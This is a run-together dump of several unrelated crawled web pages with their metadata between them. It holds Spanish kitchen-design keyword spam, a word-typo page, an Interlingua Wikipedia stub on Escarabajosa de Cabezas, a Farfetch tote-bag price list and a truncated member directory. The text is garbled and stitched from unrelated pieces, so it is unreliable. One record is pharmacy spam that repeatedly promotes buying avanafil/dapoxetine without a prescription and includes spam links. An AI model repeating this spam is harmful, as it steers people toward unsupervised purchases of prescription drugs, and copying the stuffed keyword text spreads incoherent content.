modernas.\ncocinas modernas blancas los diseos ms bonitos with diseo cocinas modernas.\ncheap diseo cocinas en melilla cocinas modernas with diseo cocinas modernas.\nperfect diseo cocinas modernas inspirador mejores imgenes de edores de diario roomlab en pinterest with diseo cocinas modernas.\nfree decoracion cocinas modernas pequeas with diseo cocinas modernas.\ndiseo cocinas pequeas modernas por lindo cocinas pequeas interior y diseo de cocina pequea concepto with diseo cocinas modernas.\nfree cocina diseo cocina cocina moderna cocina de diseo cocina de austin austin austin oeste de la with diseo cocinas modernas.\ngabinetes de cocina negros muy elegantes cmo disear cocinas modernas cocina y muebles with diseo cocinas modernas.\ncool disenos de cocinas americanas of diseno cocina americana ideas de disenos ciboney of disenos de cocinas with diseo cocinas modernas.\ninteresting disenos de cocinas modernas diseno cocina y lavanderia juntos with diseo cocinas modernas.\ninteresting diseo cocina moderna isla marmol with diseo cocinas modernas.\ntop diseo cocina moderna blanco negro with diseo cocinas modernas.\ndiseo cocinas en melilla cocinas modernas with diseo cocinas modernas.\ndiseo cocina moderna blanco madera with diseo cocinas modernas.\nsimple fotos de cocinas modernas diseo de cocinas diseo cocina tres taburetes with diseo cocinas modernas.\nbest colores para cocinas modernas with diseo cocinas modernas.\nexcellent diseo cocinas modernas pequeas with diseo cocinas modernas.\ninteresting diseno cocina d fotos de cocinas modernas ideas para decorar una cocina pequea el with diseo cocinas modernas.\namazing diseo cocinas modernas with diseo cocinas modernas.\ndiseo cocinas modernas decoracion de cocinas modernas con dise o trucos para modelos with diseo cocinas modernas.\naffordable diseo cocinas modernas with diseo cocinas modernas.\nfinest diseo cocinas modernas diseo cocinas modernas decoracion de cocinas modernas con dise o trucos para with diseo cocinas modernas.\ninteresting diseo cocina pequea isla madera with diseo cocinas modernas.\nfree disear cocina galeria cocinas serie holst x with diseo cocinas modernas.\ncheap awesome diseos de cocinas modernas with diseos de cocinas modernas with diseo cocinas modernas.\nfree diseo isla cocina negra moderna with diseo cocinas modernas.\ndiseo de cocina pequea y minimalista with diseo cocinas modernas.\ngood cajones muebles cocina cocina diseos cocinas modernas cambiar muebles de cocina muebles cocina diseo with diseo cocinas modernas.\ninteresting cocina diseo cocinas estilo calidad diseo reformas muebles de cocina cocinas modernas cocinas en alicante reforma de interiores reforma with diseo cocinas modernas.\ntrendy en cualquier cocina sin importar en estilo del diseo el mobiliario es de suma importancia dentro de las soluciones clsicas nos encontramos con alacenas with diseo cocinas modernas.\ndiseo cocinas modernas diseo cocinas modernas decoracion de cocinas modernas con dise o trucos para with diseo cocinas modernas.\nbeautiful diseo cocina moderna muebles madera with diseo cocinas modernas.\ninteresting de cocinas modernas pequeas llenas de inspiracin with diseo cocinas modernas.\nsimple amplia cocina estilo moderno la imagen de todo el diseo agnieszka lorenc with diseo cocinas modernas.\nfabulous diseo de cocina con neff cocinas pequeas diseo de cocina islas de cocina with diseo cocinas modernas.\nstunning diseno cocina line with diseo cocinas modernas.\ninteresting convenient readymade kitchens for an easy home renovation cocinas with diseo cocinas modernas.\ndiseo cocina moderna azulejos colores with diseo cocinas modernas.\nexcellent toques de color tonos de iluminacin ambientes diferentes dentro del mismo espacio with diseo cocinas modernas.\ndiseo cocina pequea moderna acero with diseo cocinas modernas.\ntrendy cocina moderna with diseo cocinas modernas.\ncurso de de hogar aprenda a ser organizado en poco tiempo with diseo cocinas modernas.\ndiseos de cocinas diseo cocinas modernas cocinas diseo baratas with diseo cocinas modernas.\nlatest diseo cocinas modernas diseo cocinas modernas modelos de cocinas americanas con e ideas para el with diseo cocinas modernas.\namazing serie de dica cocina comedor cocina deco cocinas rsticas with diseo cocinas modernas.\nmodulow twin cocinas de estilo de modulow with diseo cocinas modernas.\ncool image de diseno cocinas line with diseo cocinas modernas.\nlatest diseo de cocina moderna con encimera gruesa de mrmol blanco cocinas marmol muebles de cocina with diseo cocinas modernas.\nlatest cocinas modernas rondera cocinas de diseo moderno with diseo cocinas modernas.\nfinest cocinas xey muebles de cocina dica cocinas diseo cocinas modernas with diseo cocinas modernas.\ninteresting diseo cocinas pequeas with diseo cocinas modernas.\ngood diseo cocinas modernas lujo diseos de casas pequeas ethics with diseo cocinas modernas.\nsimple diseo cocinas modernas elegante best sala de jantar images on pinterest with diseo cocinas modernas.\ngood coleccin pequeo espacio cocina diseo ideas fotos cocina cocina moderna diseo ideas pequea cocina ideas de with diseo cocinas modernas.\ncool diseo cocinas en madera tanto modernas como ms clsicas with diseo cocinas modernas.\nfree bonito diseo cocina moderna cocina with diseo cocinas modernas.\naffordable diseo cocinas modernas diseo cocinas modernas islas para cocinas islas para cocinas islas with diseo cocinas modernas.\nstunning diseo cocinas modernas cocinas modernas dise o de en monterrey portarossa diseno scarr with diseo cocinas modernas.\ninteresting idea kitchens in pinterest cocina madera cocinas and diseo de cocina with diseo cocinas modernas.\nstunning estos partes del cuadro de estilo de cocinas modernas con tope de madera buscar con google with diseo cocinas modernas.\nsimple diseo cocinas modernas kitchen cocina pinterest with diseo cocinas modernas.\ndiseo cocinas modernas lujo amor doce jogo de namoro e paquera para meninas with diseo cocinas modernas.\nbeautiful increble diseo y modelo de cocinas modernas by with diseo cocinas modernas.\ndiseos cocinas modernas y pequeas with diseo cocinas modernas.\namazing diseos de cocinas en l cocinas artnova sevilla with diseo cocinas modernas.\ncool cocina isla diseo cocinas modernas cocinas pequeas decoracin de cocina moderna cocina with diseo cocinas modernas.\ndiseo cocinas modernas programas de diseno de cocinas gratis en espanol dise o de with diseo cocinas modernas.\nfinest diseo cocinas modernas cocinas rsticas muebles de cocina decoracin de cocina cocina with diseo cocinas modernas.\nsimple quin no ha soado con tener la cocina perfecta os traemos las ltimas novedades de cocinas de ikea pura inspiracin de cocinas modernas para seguir with diseo cocinas modernas.\ndiseo cocinas modernas with diseo cocinas modernas.\ngreat cocina moderna en ceramica with diseo cocinas modernas.\namazing cajones muebles cocina cocina diseos cocinas modernas cambiar muebles de cocina muebles cocina diseo with diseo cocinas modernas.\nwith diseo cocinas modernas.\nstunning diseo cocinas modernas diseo cocinas modernas cocina de diseo atemporal de deulonder with diseo cocinas modernas.\nbm diseo cocina tendencia tradicional las condes with diseo cocinas modernas.\ndiseo cocinas modernas modelos de cocinas americanas con e ideas para el cocina with diseo cocinas modernas.\nfabulous diseo de cocinas modernas teteras with diseo cocinas modernas.\nbest diseo cocinas online gratis fotos de cocinas modernas pequeas llenas de inspiracin with diseo cocinas modernas.\ndiseo cocinas modernas cocinas modernas dise o de en monterrey portarossa diseno scarr with diseo cocinas modernas.\naffordable diseo cocinas en u best of lo mejor fotos de modelos cocinas modernas house ideas with diseo cocinas modernas.\ndiseo muebles cocina with diseo cocinas modernas.\nperfect cocinas forma diseno cocina mesa opciones ideas with diseo cocinas modernas.\nawesome diseo cocinas modernas diseo cocinas modernas cocina de diseo atemporal de deulonder with diseo cocinas modernas.\nlatest diseo cocinas modernas diseo cocinas modernas disear muebles de cocina ideas disear muebles de cocina with diseo cocinas modernas.\naffordable diseo cocina moderna blanco negro with diseo cocinas modernas.\ntrendy diseo cocinas modernas diseo cocinas modernas dise ar muebles de cocina con cocinas de dise with diseo cocinas modernas.\ndiseo cocinas modernas islas de cocina scarr with diseo cocinas modernas.\ndiseno cocina pequena of tendencia en decoracin de cocinas cocinas modernas fotos cocinas of diseno cocina with diseo cocinas modernas.\ndiseo cocinas modernas lujo diseo de cocinas fotos awesome programas de diseo with diseo cocinas modernas.\ntrendy cocina integral lineal ariel composition by cesar arredamenti diseo gian vittorio plazzogna with diseo cocinas modernas.\ngallery of original diseo cocina moderna with diseo cocinas modernas.\ntrendy bonita diseos cocinas pequeas modernas with diseo cocinas modernas.\ntop cocinas de estilo de egue y seta with diseo cocinas modernas.\naffordable diseo de cocinas modernas parte with diseo cocinas modernas.\ntop diseo cocinas modernas cocinas modernas tendencias en dise o de keepler integrales with diseo cocinas modernas.\nperfect diseo cocinas modernas verde with diseo cocinas modernas.\ncheap diseo cocinas modernas diseo cocinas modernas nuevo cocina de diseo imagen de cocinas with diseo cocinas modernas.\nawesome with diseo cocinas modernas.\nbeautiful full size of de cocinas pequeas cocinas modernas mi cocina lunch menu with diseo cocinas modernas.\ntop cocina diseo moderno forma esquina with diseo cocinas modernas.\ncool plasticidad en cocinas modernas with diseo cocinas modernas.\nsimple diseo cocinas modernas fear not if you use suelos para casas modernas the right way with diseo cocinas modernas.\nfree agradable foto diseo cocinas modernas with diseo cocinas modernas.\nbeautiful diseo cocinas blancas sendero alfombra marrona with diseo cocinas modernas.\nexcellent diseo cocinas en u stunning diseos cocinas modernas pequeas casas with diseo cocinas modernas.\ntop diseo cocinas modernas cocina textil capuccino con granito amarillo santa cecilia with diseo cocinas modernas.\nbeautiful los sper diseo cocinas pequeas modernas debido a garbo diseo cocinas pequeas modul et charmant diseno with diseo cocinas modernas.\ncheap idea de mueble de cocina moderna with diseo cocinas modernas.\namazing curso de de hogar aprenda a ser organizado en poco tiempo with diseo cocinas modernas.\naffordable diseos cocinas modernas with diseo cocinas modernas.\nvuelven las cocinas en madera with diseo cocinas modernas.\nfinest diseo cocinas modernas imagenes de cocinas modernas ideas inspiraci n e im genes homify with diseo cocinas modernas.\ndiseo cocina moderna blanco azul with diseo cocinas modernas.\naffordable diseos cocinas modernas with diseo cocinas modernas.\ngreat diseo de cocinas modernas diseo cocinas modernas kitchen desing hogar with diseo cocinas modernas.\naffordable diseo cocina moderna blanca sillas with diseo cocinas modernas.\nbeautiful mama cocinas obra modernas with cocina de juguete plus reforma cocina frigorifico together with cocina de nias para jugar with diseo cocinas modernas.\ncocinas modernas en m xico df dise o y decoraci n de for disenos de modernos with diseo cocinas modernas.\ntrendy instagram muebles de cocina cocinas pequeas diseo cocinas modernas diseo de cocina with diseo cocinas modernas.\nawesome diseo cocinas modernas madera laminada with diseo cocinas modernas.","id":"","dump":"CC-MAIN-2019-22","url":"http:\/\/izmailovo-vao.com\/diseo-cocinas-modernas.html","date":"2019-05-22T01:06:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232256600.32\/warc\/CC-MAIN-20190522002845-20190522024845-00350.warc.gz","language":"ina","language_score":0.3137803972,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.31378039717674255, \"spa_Latn_score\": 0.26390430331230164, \"glg_Latn_score\": 0.19942399859428406, \"mui_Latn_score\": 0.04022599756717682, \"cbk_Latn_score\": 0.019713014364242554, \"lat_Latn_score\": 0.01946086250245571, \"ile_Latn_score\": 0.013978930190205574, \"ayr_Latn_score\": 0.012937221676111221, \"lit_Latn_score\": 0.012469870038330555, \"ido_Latn_score\": 0.012319233268499374}","num_words":4727,"character_repetition_ratio":0.42,"word_repetition_ratio":0.294,"special_characters_ratio":0.157,"stopwords_ratio":0.037,"flagged_words_ratio":0.0,"lang_id_score":0.315,"perplexity_score":8249.8,"cluster_detection":-1} +{"text":"Alcorn0que\n'Alcorn0que' se parece a 'alcornoque', ¿Con alcorn0que querías decir alcornoque?\nAlcorn0que tiene 10 letras\nDefinición de alcornoque aquí\nResultados de búsqueda:\n|Google:||alcorn0que|\n|Yahoo:||alcorn0que|\n|MSN:||alcorn0que|\n|Wikipedia:||alcorn0que|\nResultados de imágenes:\n|Google:||alcorn0que|\n|Yahoo:||alcorn0que|\n|MSN:||alcorn0que|\nYoutube: alcorn0que\nNube de palabras :\n- alcornoque zlcornoque slcornoque wlcornoque qlcornoque akcornoque apcornoque aocornoque alxornoque alvornoque alfornoque aldornoque alcirnoque alckrnoque alclrnoque alcprnoque alc0rnoque alc9rnoque alcoenoque alcodnoque alcofnoque alcotnoque alco5noque alco4noque alcorboque alcormoque alcorjoque alcorhoque alcornique alcornkque alcornlque alcornpque alcorn0que alcorn9que alcorno1ue alcorno2ue alcornowue alcornoaue alcornoqye alcornoqhe alcornoqje alcornoqie alcornoq8e alcornoq7e alcornoquw alcornoqus alcornoqud alcornoqur alcornoqu4 alcornoqu3","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/www.tuspalabras.com\/alcorn0que","date":"2017-03-23T08:30:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218186841.66\/warc\/CC-MAIN-20170322212946-00150-ip-10-233-31-227.ec2.internal.warc.gz","language":"ina","language_score":0.3338890374,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"ina_Latn_score\": 0.33388903737068176, \"nah_Latn_score\": 0.16802383959293365, \"ast_Latn_score\": 0.12605471909046173, \"cot_Latn_score\": 0.06201484799385071, \"spa_Latn_score\": 0.05864221975207329, \"sco_Latn_score\": 0.05025783181190491, \"por_Latn_score\": 0.03393973782658577, \"glg_Latn_score\": 0.030031872913241386}","num_words":301,"character_repetition_ratio":0.15,"word_repetition_ratio":0.062,"special_characters_ratio":0.172,"stopwords_ratio":0.186,"flagged_words_ratio":0.0,"lang_id_score":0.325,"perplexity_score":11165.5,"cluster_detection":-1} +{"text":"Farmacia En Línea Certificada Por Extra Super Avana - Envío Rápido a Espana, Mexico, Republica de Colombia\nORDENAR Extra Super Avana Avanafil Dapoxetina 200\/60mg BARATO EN LiNEA\n⇒ CLIC AQUí ⇐\nse puede comprar avanafil dapoxetine sin receta en farmacia\nhttp:\/\/q2a.sydt.com.tw\/index.php?qa=576 ... a-salvador\ncomprar extra super avana online sin receta\ncomprar extra super avana 200\/60 mg morelia michoacan\ndonde puedo comprar una pastilla de extra super avana\ndonde puedo comprar extra super avana generico\ndonde comprar extra super avana sin receta madrid\nhttp:\/\/4pleadings.com\/__media__\/js\/nets ... ttortmarou\ncomprar extra super avana solucion\nextra super avana sin receta en mexico\nonde comprar extra super avana 200\/60 mg mais barato\nhttp:\/\/firstbratschallenge.com\/__media_ ... zole20mgee\nextra super avana precio republica dominicana\ncomo comprar extra super avana en estados unidos\nse puede comprar extra super avana sin receta en el salvador\nextra super avana avanafil dapoxetina precio mexico\ncomprar extra super avana 200\/60 mg pastillas\nhttp:\/\/jizzlemint.com\/__media__\/js\/nets ... grounancor\ndonde comprar extra super avana\navanafil dapoxetine 200\/60 mg generico de venta\ndonde comprar extra super avana en sevilla\ncomprar extra super avana consta 200\/60 mg\ndonde puedo comprar extra super avana en chile\ndonde comprar extra super avana en linea! extra super avana 200\/60mg en medellin venta. comprar extra super avana andalucia. donde comprar extra super avana sin receta en costa rica, donde comprar extra super avana en jaen. donde comprar extra super avana sin receta argentina. extra super avana 200\/60mg chile venta; extra super avana avanafil dapoxetine 200\/60mg venta personalizada, comprar extra super avana 200\/60 mg en santiago.comprar extra super avana natural en murcia\nhttp:\/\/www.thepilgrimhouse.com\/__media_ ... metasonamc\nextra super avana venta guadalajara\nhttp:\/\/photolightanddrawing.com\/__media ... gargentina\ncomprar extra super avana sonora\ncomprar avanafil dapoxetine amex\ndonde comprar extra super avana femenino chile; comprar extra super avana en santiago; donde comprar extra super avana bogota. comprar extra super avana 200\/60 mg masticable.\ncomprar extra super avana mendoza argentina\ndonde comprar extra super avana sin receta en valencia\ndonde puedo comprar extra super avana usa\nextra super avana precio en estados unidos\ncomprar extra super avana generico linea\nhttp:\/\/i-m-a-d-e.org\/qa\/308959\/farmacia ... e-garantia\nextra super avana 200\/60 mg sin receta 2021\ndonde comprar extra super avana sin receta en barcelona\ncomprar extra super avana 200\/60 mg farmacia sin receta República de Honduras\nonlineshop comprar extra super avana avanafil dapoxetina com; comprar extra super avana generico brasil. comprar extra super avana 200\/60 mg en españa. extra super avana comprar con seguridad, precio medicamento extra super avana mexico.\nextra super avana donde comprar online Estados Unidos\ndonde puedo comprar extra super avana contrareembolso. comprar extra super avana 200\/60 mg galicia.\nextra super avana 200\/60 mg hombres venta\nextra super avana 200\/60 mg se vende sin receta en mexico\ncomprar extra super avana 200\/60mg original en españa; comprar extra super avana en farmacia sin receta en chile. precio de extra super avana avanafil dapoxetine. extra super avana lima venta; comprar extra super avana 200\/60mg en francia\ncomprar extra super avana 200\/60 mg en marbella\nhttp:\/\/partneradmin.com\/__media__\/js\/ne ... zolcomprar\ncomprar extra super avana zona sur\nen donde comprar extra super avana en mexico\nextra super avana donde comprar peru\ncomprar extra super avana medicamento Paraguay\ncomprar extra super avana es farmacia online República de Panamá\ncomprar avanafil dapoxetina online barato\ncomprar extra super avana farmacia europa\ncomprar extra super avana reino unido\ncomprar extra super avana 200\/60 mg original en 24 horas\nhttp:\/\/arcuris.com\/__media__\/js\/netsolt ... inalineroc\nextra super avana hombres venta\ncomprar extra super avana 200\/60 mg generico en internet\nhttp:\/\/susanrlewis.com\/__media__\/js\/net ... ongarantia\nextra super avana 200\/60 mg donde comprar\nse puede comprar extra super avana sin receta\ncomprar avanafil dapoxetina 200\/60mg pastillas USA\navanafil dapoxetine con receta medica\ncomprar avanafil dapoxetine con amex\ncomprar avanafil dapoxetina uso diario Costa Rica\nextra super avana generico comprar\nhttp:\/\/gvhelectronics.com\/__media__\/js\/ ... zindinavir\ncomprar extra super avana 200\/60mg en españa farmacia online\ncomprar extra super avana 200\/60 mg linea\ncomprar extra super avana 200\/60mg online\ncomprar extra super avana san luis potosi\nextra super avana 200\/60mg bogota venta\ncomprar avanafil dapoxetine pastillas\npuedo comprar extra super avana en las farmacias\nextra super avana mas barato\navanafil dapoxetina tabletas 200\/60 mg precio\ncomprar extra super avana natural madrid\nse puede comprar extra super avana sin receta mexico! comprar extra super avana en gibraltar. extra super avana 200\/60 mg comprar bogota; comprar extra super avana 200\/60mg amex, extra super avana venta en peru. donde puedo comprar extra super avana argentina. extra super avana 200\/60mg venta libre en farmacias\ncomprar extra super avana 200\/60mg crema\ndonde puedo comprar las pastillas extra super avana Argentina\navanafil dapoxetina venta al publico\ndonde puedo comprar avanafil dapoxetine de 200\/60mg\navanafil dapoxetine unguento precios\nprecio de extra super avana 200\/60 mg 4 comprimidos Dominicana\ncomprar avanafil dapoxetine tienda en línea\nextra super avana mexico venta, extra super avana venta en ecuador, donde comprar extra super avana colombia. precio extra super avana generico 200\/60 mg\ncomprar extra super avana 200\/60mg cordoba argentina; extra super avana venden sin receta. extra super avana se vende sin receta chile. comprar extra super avana 200\/60mg necesito receta. donde puedo comprar extra super avana para mujeres; extra super avana precio mexico.\nBenvenuti nel forum dei Deep Dive Translations!\nAccedete a questa sezione per dare un saluto alla\ncommunity e presentarvi al team.\nAccedete a questa sezione per dare un saluto alla\ncommunity e presentarvi al team.\nPrimo messaggio non letto • 1 messaggio • Pagina 1 di 1","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/deepdivetranslations.altervista.org\/forums\/viewtopic.php?f=2&p=44736&sid=4bfe0c69a41689e2e1e0bd5d08789800","date":"2021-12-06T12:33:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964363292.82\/warc\/CC-MAIN-20211206103243-20211206133243-00238.warc.gz","language":"ina","language_score":0.3133692741,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3133692741394043, \"spa_Latn_score\": 0.2432621270418167, \"ile_Latn_score\": 0.13275808095932007, \"por_Latn_score\": 0.07144132256507874, \"lat_Latn_score\": 0.028769725933670998, \"ido_Latn_score\": 0.017666112631559372, \"ron_Latn_score\": 0.012935753911733627, \"eus_Latn_score\": 0.012582681141793728, \"oci_Latn_score\": 0.010735572315752506}","num_words":1809,"character_repetition_ratio":0.349,"word_repetition_ratio":0.096,"special_characters_ratio":0.215,"stopwords_ratio":0.029,"flagged_words_ratio":0.0,"lang_id_score":0.313,"perplexity_score":5898.1,"cluster_detection":-1} +{"text":"Escarabajosa de Cabezas\n|Escarabajosa de Cabezas|\n|Classe||municipalitates de Espania|\n|Pais||Espania|\n|Capital||Escarabajosa de Cabezas[*]|\n|Population||289|\n|Area||16 km²|\n|Situate in||Provincia de Segovia|\n|Altitude||884 m|\n|Coordinatas||41°6'16\"N, 4°11'36\"W|\n|Geonames ID||6360811|\n|Sito web: https:\/\/www.escarabajosadecabezas.es\/|\n|Wikimedia Commons Category|\nEscarabajosa de Cabezas\nEscarabajosa de Cabezas es un municipalitate que se trova in le provincia de Segovia, in le communitate autonome de Castilia e Leon, Espania.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/ia.wikipedia.org\/wiki\/Escarabajosa_de_Cabezas","date":"2023-03-24T08:45:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296945279.63\/warc\/CC-MAIN-20230324082226-20230324112226-00712.warc.gz","language":"ina","language_score":0.3690474629,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.36904746294021606, \"glg_Latn_score\": 0.14911189675331116, \"spa_Latn_score\": 0.08017686754465103, \"cbk_Latn_score\": 0.07404574751853943, \"arg_Latn_score\": 0.02647823840379715, \"vec_Latn_score\": 0.02327636443078518, \"oci_Latn_score\": 0.01876283437013626, \"lat_Latn_score\": 0.015153897926211357, \"ron_Latn_score\": 0.013464653864502907, \"ayr_Latn_score\": 0.012277988716959953, \"srd_Latn_score\": 0.011037135496735573, \"sco_Latn_score\": 0.010552926920354366}","num_words":123,"character_repetition_ratio":0.165,"word_repetition_ratio":0.105,"special_characters_ratio":0.274,"stopwords_ratio":0.057,"flagged_words_ratio":0.0,"lang_id_score":0.271,"perplexity_score":5195.7,"cluster_detection":-1} +{"text":"Valentino\nbolso tote bordado$72,072\nbolso tote bordado$72,072\ntote con hebillas$63,423\nbolso tote shopper con parche del logo$17,153\nbolso tote shopper clásico$21,532\ntote mediano \"Nightingale\"$44,750\ntote grande 5AC$98,110\ntote grande con solapa$79,084\ntote con diseño en relieve$28,540\nbolso tote con estampado de logo$13,838\nbolso tote \"Selleria\"$53,333\nbolso tote grande$35,028\ntote de viaje clásico$36,036\nbolsa M\/S Helmet$13,473\nbolso weekender 27-7 STAR$15,987\nbolsa de playa con logo$4,818\ntote grande Nightingale$63,135\ntote shopper No Words$36,036\ntote tipo shopper Bag Bugs$34,595\ntote de viaje Sailor$33,124\ntote grande \"Sac de Jour\"$72,382\nbolso tote Valentino Garavani Rockstud$30,270\nbolso tote Nightingale$51,699\nbolso tote Palazzo Medusa con clutch removible$13,439\ntote Rockstud Valentino Garavani$29,694\nbolsa shopper Mediterraneo$28,685\ntote tipo shopper$33,427\nbolso tote \"Pimlico\"$40,216\nbolso tote estilo shopper\ntote estilo shopper Mediterraneo$27,243\ntote con estampado geométrico$17,557\ntote texturizado$22,919\nbolso tote \"Sac de Jour\" grande$70,631\ntote Pimlico$36,036\ntote \"Michigan\"$18,992\ntote tipo shopper rectangular$28,685\ntote Fendi Faces$66,306\ntote shopper vertical \"Mastodon Edith\"$36,334\ntote shopper básico$37,120\ntote Bag Bugs \"Selleria\"$64,788\nbolso tote \"Peekaboo\"\ntote estilo shopper Fendi Faces$50,450\nbolso tote \"Nightingale\"$42,667\ntote estilo shopper$21,622\nbolso tote multiusos\ntote \"Selleria\"$63,423\ntote con detalle de parche$16,404\nbolsa de hombro\nbolso tote 31 Hour\ntote estilo weekend$39,707\nbolso tote tipo shopper \"Camubutterfly\" Valentino Garavani$21,622\nbolsa con asas superiores \"Nightingale\"\ntote tipo shopper \"Utilitary\"\nbolso tote con pliegues$28,078\ntote con detalle a cuadros$37,333\ntote \"Standard 24 Hours\"$33,989\ntote \"Nightingale\"\nbolso tote grande \"Sac de Jour\"$70,631\nbolso tote Selleria Peekaboo$109,838\nbolsa estilo shopper \"Concertina\"$37,120\ntote estilo shopper\ntote con logo estampado$22,486\nbolso estilo shopper \"Ropsten\"\ntote de lana Fendi Faces\nbolso bowling clásico$36,036\nbolso tote portalibros \"Didot\"$11,795\ntote perforado \"Nightingale\"$54,631\nbolso tote \"Sac de Jour\"$62,296\ntote \"Nightingale\"\ntote grande estructurado$85,867\ntote grande estructurado$85,867\nbolso tote oversize$11,917\ntote con logo pequeño \"24H\"$51,327\nbolso tote \"Hoyt\"$76,602\nbolso tote \"Nightingale\"$53,333\ntote grande \"Sac de Jour\"$70,631\nbolso tote portalibros \"Didot\"$11,795\ntote con estampado de foto$5,416\nbolso tote \"Camustars\"$31,563\nbolso tote Bag Bugs$31,712\ntote con parches de calaveras\nbolso tote con estampado de perrito caliente$2,145\ntote \"Hector\"$65,120\ntote \"Selleria Peekaboo\"$110,991\ntote tipo shopper Fendi Faces$36,036\nbolso tote con estampado del logo\ntote Pimlico$38,919\nbolso tote con estampado del logo$21,705\nbolso tote Pinlico$38,919\nbolso tote 31 Hour\nbolso tote con estampado de perrito caliente$2,145\ntote icónico$3,459\nbolso tote grande militar\nlogo embossed tote$25,753\nbolso tote con estampado geométrico love$16,013\nlarge tote bag$45,019\ntote estilo shopper\ntote con estampado militar\nbolso tote Palazzo Medusa con clutch removible$13,439\nbolso tote Milla$23,784\ntote grande\ntote tipo shopper clásico$32,924\nValentino Garavani camouflage tote$26,522\nbolso tote Milla$27,387\nbolso tote Milla$27,387\ntote estilo shopper clásico$21,622\ntote clásico estilo bolsa de viaje$36,036\nbolso tote Pimlico$36,363\ntote 31 Hour\ntote con parche de los diseñadores Mediterraneo$49,009\ntote Rockstud Valentino Garavani$50,450\ntote grande 5AC$64,576\nbolso tote grande 5AC$64,576\ntote con forma de barco$71,495\ntote \"Hector\"$84,180\ntote \"Selleria Peekaboo\"$119,639\nbolso tote con logo estampado$1,905\ntote estilo shopper$2,465\ntote con bordado de estrellas$1,980\ntote con logo estampado$1,905\ntote con logo estampado$1,980\nbolso tote con estampado militar$2,931\nbolso tote con bordado de estrellas$1,980\ntote estilo shopper con estampado geométrico$563\nbolso tote con logo estampado$721\ntote con estampado de cita de Études Studio x Mark Gonzales\ntote con logo estampado$1,905\ntote con estampado de rayas de Études Studio x Mark Gonzales\ntote cuadrado grande$5,625\ntote con motivo militar$2,854\nbolso tote para botellas \"Tumble Sixpack\"$2,039\nbolso tote tipo shopper$4,877\nbolso de viaje grande$50,627\n'Simple' zip tote$3,842\nbolso tote \"Void\"$8,272\nbolso tote con estampado del logo$721\nbolso tote \"Postina\"$14,270\nbolso satchel grande \"Postina\"$14,126\nremovable strap tote$13,982\nbolso tote pequeño Not Eco$5,791\nbolso tote shopper con estampado del logo\nbolsa \"Teddy\"$6,147\nbolsa \"Void\"$5,616\ntote con efecto de cuero$7,235\nbolso tote \"O'Hare\"\nbolso tote pequeño Not Eco$9,100\nbolso tote \"Gabriella\"$8,246\ntote \"Gabriella\"$8,246\ntote \"Dustin\"$9,428\ntote \"Kajsa\"$9,428\ntote con cierre\ntote \"Iago\"\nbolso tote \"Iago\"$10,632\nbolso tote pequeño Campus$14,228\nbolso tote grande Not Eco$14,228\ntote clásico$11,724\nbolso tote clásico$11,724\ntote con apliques$14,126\nbolso tote con placa del logo$12,973\ntote con tachuelas$13,982\nbolso tote con cierre de solapa$14,126\nbolso tote grande Postina$14,270\nbolso tote grande Postina$14,270\nbolso tote grande Postina$14,270\nbolso tote con cierre de solapa$14,126\nbolso tote colour block$14,270\nbolso tote \"My Bang Bang\"$14,270\nbolso tote con correa removible$15,423\nbolso de hombro$15,279\nbolso tote con placa del logo$14,991\nbolso tote con correa removible$16,115\nbolso tote con solapa$16,115\nbolso shopping \"K24\"$19,688\nbolsa tipo shopper \"K24\"$19,688\nbolso tote con rayas en contraste$17,874\nbolso tote tipo shopper con detalle de cremallera\nbolso tote con cierre giratorio$18,739\nbolso tote con correa removible$18,595\nbolso tote texturizado con cremallera\nbolso tote con asa doble grande$33,023\ntote con parche de transbordador\nCargando...","id":"","dump":"CC-MAIN-2017-04","url":"https:\/\/www.farfetch.com\/mx\/shopping\/men\/totes-2\/items.aspx","date":"2017-01-18T08:04:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-04\/segments\/1484560280242.65\/warc\/CC-MAIN-20170116095120-00311-ip-10-171-10-70.ec2.internal.warc.gz","language":"ina","language_score":0.3712916374,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3712916374206543, \"glg_Latn_score\": 0.1657092571258545, \"por_Latn_score\": 0.0694313645362854, \"spa_Latn_score\": 0.05816321074962616, \"pcm_Latn_score\": 0.028233738616108894, \"knv_Latn_score\": 0.017592690885066986, \"eng_Latn_score\": 0.015330707654356956, \"dag_Latn_score\": 0.015227099880576134, \"ben_Latn_score\": 0.013048255816102028, \"nhg_Latn_score\": 0.010484413243830204}","num_words":1458,"character_repetition_ratio":0.161,"word_repetition_ratio":0.086,"special_characters_ratio":0.33,"stopwords_ratio":0.01,"flagged_words_ratio":0.0,"lang_id_score":0.386,"perplexity_score":17969.1,"cluster_detection":-1} +{"text":"Member Directory: A B C D E F G H I J K L M N O P Q R S T U V W X Y Z other\n|Camille Lazzari||Camille LE FLOCH|\n|CAMILLE LB||Camille Le Friec|\n|Camille Lbc||Camille Le Gal|\n|Camille Lbr||Camille Le Gal|\n|Camille Lc||Camille Le Gall|\n|Camille Ld||Camille Le Goaziou|\n|Camille Ldx||Camille Le Goaziou|\n|Camille Lé||Camille Le Goff|\n|Camille Le Balp||Camille Le Goff|\n|Camille Le Barbanchon||Camille Le Goff|\n|Camille Le Barbanchon||Camille Le Goff|\n|Camille Le Baron||camille Le goff|\n|camille le bart||camille Le goff|\n|Camille Le Bas||Camille Le Goff|\n|Camille Le Berre||Camille Le Gonidec|\n|camille Le berre||camille Le gouil|\n|Camille Le Bigot||Camille Le Gourrierec|\n|camille LE BIHAN||Camille Le Grand Viau|\n|Camille Le Bihan||camille le grand viau|\n|Camille LE BIHAN||Camille Le Guen|\n|Camille Le Bivic||Camille Le Guen|\n|camille Le blanc||camille Le Guigo|\n|Camille Le blanc||Camille Le Guillou|\n|Camille Le Boité Teillet||Camille Le 